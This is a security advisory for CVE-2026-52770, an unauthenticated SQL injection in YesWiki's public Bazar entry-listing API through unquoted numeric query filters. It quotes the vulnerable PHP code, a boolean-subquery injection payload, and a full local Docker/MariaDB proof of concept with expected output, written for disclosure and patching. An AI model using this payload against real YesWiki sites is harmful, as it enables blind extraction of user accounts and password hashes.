PT-2026-57030 · Packagist · Yeswiki/Yeswiki

Published

2026-07-09

·

Updated

2026-07-09

·

CVE-2026-52770

CVSS v3.1

7.5

High

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

YesWiki’s public Bazar entry-listing APIs are vulnerable to unauthenticated SQL injection in numeric query / queries filters.
For Bazar fields whose value structure is numeric, YesWiki escapes the attacker-controlled filter value but inserts it into SQL without quotes or numeric validation. An unauthenticated attacker can inject boolean SQL expressions and infer database contents from whether entries are returned.

Details

The public Bazar API reads attacker-controlled query filters from GET parameters:
php
// tools/bazar/controllers/ApiController.php
$vQuery = $ GET['query'] ?? $ GET['queries'] ?? null;
$vQuery = $vSearchManager->aggregateQueries(
  !empty($selectedEntries) ? ['queries' => ['id fiche' => $selectedEntries]] : [],
  isset($vQuery) ? urldecode($vQuery) : ''
);
Relevant public routes include:
php
@Route("/api/forms/{formId}/entries/{output}/{selectedEntries}", methods={"GET"}, options={"acl":{"public"}})
@Route("/api/entries/{output}/{selectedEntries}", methods={"GET"}, options={"acl":{"public"}})
@Route("/api/entries/bazarlist", methods={"GET"}, options={"acl":{"public"}})
The query is passed into BazarListService::getEntries() and then into SearchManager::search():
php
// tools/bazar/services/BazarListService.php
$vLocalEntries = $vSearchManager->search(
  array merge(
    $pOptions,
    [
      'formsIds' => $vLocalIDs,
    ]
  ),
  true,
  true
);
The vulnerable sink is in SearchManager::buildQueriesConditions():
php
// tools/bazar/services/SearchManager.php
if ($vDescriptor[' type '] == 'number') {
  if (isset($vValue) && trim($vValue) !== '') {
    $vValueConditions[] = 'CAST(' . mysqli real escape string($this->wiki->dblink, $this->renameJSONPathVariable($vFieldName)) . ' AS DOUBLE) ' . $vComparisonOperator . ' ' . mysqli real escape string($this->wiki->dblink, $vValue);
  }
}
Because numeric values are not quoted, SQL syntax remains active after escaping. For example, the following value is accepted as part of the numeric expression:
text
100 OR (SELECT COUNT(*) FROM yeswiki users)>0
This produces a predicate equivalent to:
sql
CAST(bf age AS DOUBLE) > 100 OR (SELECT COUNT(*) FROM yeswiki users)>0
Read ACL filtering and Bazar Guard processing do not prevent exploitation because the injected SQL expression is evaluated by the database before returned rows are post-processed.
Numeric Bazar filters are a documented/common feature. The documentation includes examples such as:
text
query="bf age>18"
query="bf age >= 20 | bf age < 40"
Bazar numeric fields are also common through field types such as number, range, and map latitude/longitude fields.

PoC

The following local-only PoC uses the shipped SearchManager code with a minimal MariaDB fixture. It demonstrates that a true injected boolean subquery changes the returned entries, while a false subquery does not.
Run from the repository root:
bash
set -euo pipefail; name="yeswiki-audit-db-$$"; docker run -d --rm --name "$name" -e MARIADB ROOT PASSWORD=auditpass -e MARIADB ROOT HOST='%' -e MARIADB DATABASE=yeswiki mariadb:11.4 >/dev/null; trap 'docker rm -f "$name" >/dev/null 2>&1 || true' EXIT; until docker exec "$name" mariadb-admin ping -h127.0.0.1 -uroot -pauditpass --silent >/dev/null 2>&1; do sleep 1; done; docker run --rm -i --network "container:$name" -v "$PWD:/repo:ro" --entrypoint php phpmyadmin:5.2.1 -d error reporting=E ERROR -d display errors=1 <<'PHP'
<?php
namespace YesWikiBazarService {
  class EntryManager { public const TRIPLES ENTRY ID = 'yeswiki-entry'; }
  class FormManager { public function getMany($ids) { return [1 => ['prepared' => [new DummyNumberField()]]]; } }
}
namespace {
  class DummyNumberField {
    public function getPropertyName() { return 'bf age'; }
    public function getValueStructure() { return ['bf age' => [' mode ' => 'single', ' type ' => 'number']]; }
  }
  class DummyServices {
    public function get($class) {
      if ($class === 'YesWikiBazarServiceFormManager') { return new YesWikiBazarServiceFormManager(); }
      if ($class === 'YesWikiBazarServiceEntryManager') { return new YesWikiBazarServiceEntryManager(); }
      throw new RuntimeException('Unexpected service: ' . $class);
    }
  }
  class DummyWiki {
    public $dblink;
    public $services;
    public function  construct($dblink) { $this->dblink = $dblink; $this->services = new DummyServices(); }
    public function GetConfigValue($name, $default = null) { return $name === 'min search keyword length' ? 3 : $default; }
    public function UserIsAdmin() { return false; }
    public function getUserName() { return 'Anonymous'; }
  }
  class DummyDbService {
    public function getCollation(): string { return 'utf8mb4 unicode ci'; }
    public function prefixTable($tableName) { return ' yeswiki ' . $tableName . ' '; }
  }
  class DummyAclService { public function updateRequestWithACL() { return '1=1'; } }

  require '/repo/tools/bazar/services/SearchManager.php';

  $db = mysqli connect('127.0.0.1', 'root', 'auditpass', 'yeswiki');
  if (!$db) { throw new RuntimeException(mysqli connect error()); }
  mysqli set charset($db, 'utf8mb4');

  foreach ([
    "CREATE TABLE yeswiki pages (id INT PRIMARY KEY AUTO INCREMENT, tag VARCHAR(64), time DATETIME DEFAULT CURRENT TIMESTAMP, user VARCHAR(64), owner VARCHAR(64), latest CHAR(1), comment on VARCHAR(64), body JSON)",
    "CREATE TABLE yeswiki triples (resource VARCHAR(64), value VARCHAR(64), property VARCHAR(128))",
    "CREATE TABLE yeswiki users (name VARCHAR(64), password VARCHAR(256), email VARCHAR(191))",
    "INSERT INTO yeswiki users VALUES ('admin', 'dummy hash marker', 'secret@example.test')",
    "INSERT INTO yeswiki pages (tag,user,owner,latest,comment on,body) VALUES ('EntryA','alice','alice','Y','',JSON OBJECT('id typeannonce','1','id fiche','EntryA','bf age','10')), ('EntryB','bob','bob','Y','',JSON OBJECT('id typeannonce','1','id fiche','EntryB','bf age','20'))",
    "INSERT INTO yeswiki triples VALUES ('EntryA','yeswiki-entry','http://outils-reseaux.org/ vocabulary/type'), ('EntryB','yeswiki-entry','http://outils-reseaux.org/ vocabulary/type')",
  ] as $sql) {
    if (!mysqli query($db, $sql)) { throw new RuntimeException(mysqli error($db) . " in " . $sql); }
  }

  $ref = new ReflectionClass(YesWikiBazarServiceSearchManager::class);
  $sm = $ref->newInstanceWithoutConstructor();
  foreach (['wiki' => new DummyWiki($db), 'dbService' => new DummyDbService(), 'aclService' => new DummyAclService()] as $prop => $value) {
    $rp = $ref->getProperty($prop);
    $rp->setAccessible(true);
    $rp->setValue($sm, $value);
  }

  $cases = [
    'control no match' => 'bf age>100',
    'boolean true subquery' => 'bf age>100 OR (SELECT COUNT(*) FROM yeswiki users)>0',
    'boolean false subquery' => 'bf age>100 OR (SELECT COUNT(*) FROM yeswiki users WHERE 0)>0',
  ];

  foreach ($cases as $label => $query) {
    $params = ['queries' => $query, 'formsIds' => [1]];
    $sql = $sm->prepareSearchRequest($params, true, false);
    $result = mysqli query($db, $sql);
    if (!$result) { throw new RuntimeException(mysqli error($db) . " in " . $sql); }
    $tags = [];
    while ($row = mysqli fetch assoc($result)) { $tags[] = $row['tag']; }
    sort($tags);
    printf("%s: %d rows [%s]
", $label, count($tags), implode(',', $tags));
    if ($label === 'boolean true subquery') {
      echo "where fragment=" . preg replace('/^.* WHERE /s', '', $sql) . "
";
    }
  }
}
PHP
Expected vulnerable output:
text
control no match: 0 rows []
boolean true subquery: 2 rows [EntryA,EntryB]
where fragment=((CAST(bf age AS DOUBLE) > 100 OR (SELECT COUNT(*) FROM yeswiki users)>0)) AND 1=1
boolean false subquery: 0 rows []
The no-match control returns no rows. The false injected subquery also returns no rows. The true injected subquery returns rows, proving that attacker-controlled SQL is evaluated inside the numeric filter.

Impact

This is an unauthenticated SQL injection vulnerability.
An attacker can use public Bazar API endpoints as a boolean oracle to infer data accessible to the YesWiki database user. This may include user account data, password hashes, password recovery material, private wiki metadata, or other sensitive database contents.

Fix

SQL injection

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-52770
GHSA-QG78-VMVC-FHJW

Affected Products

Yeswiki/Yeswiki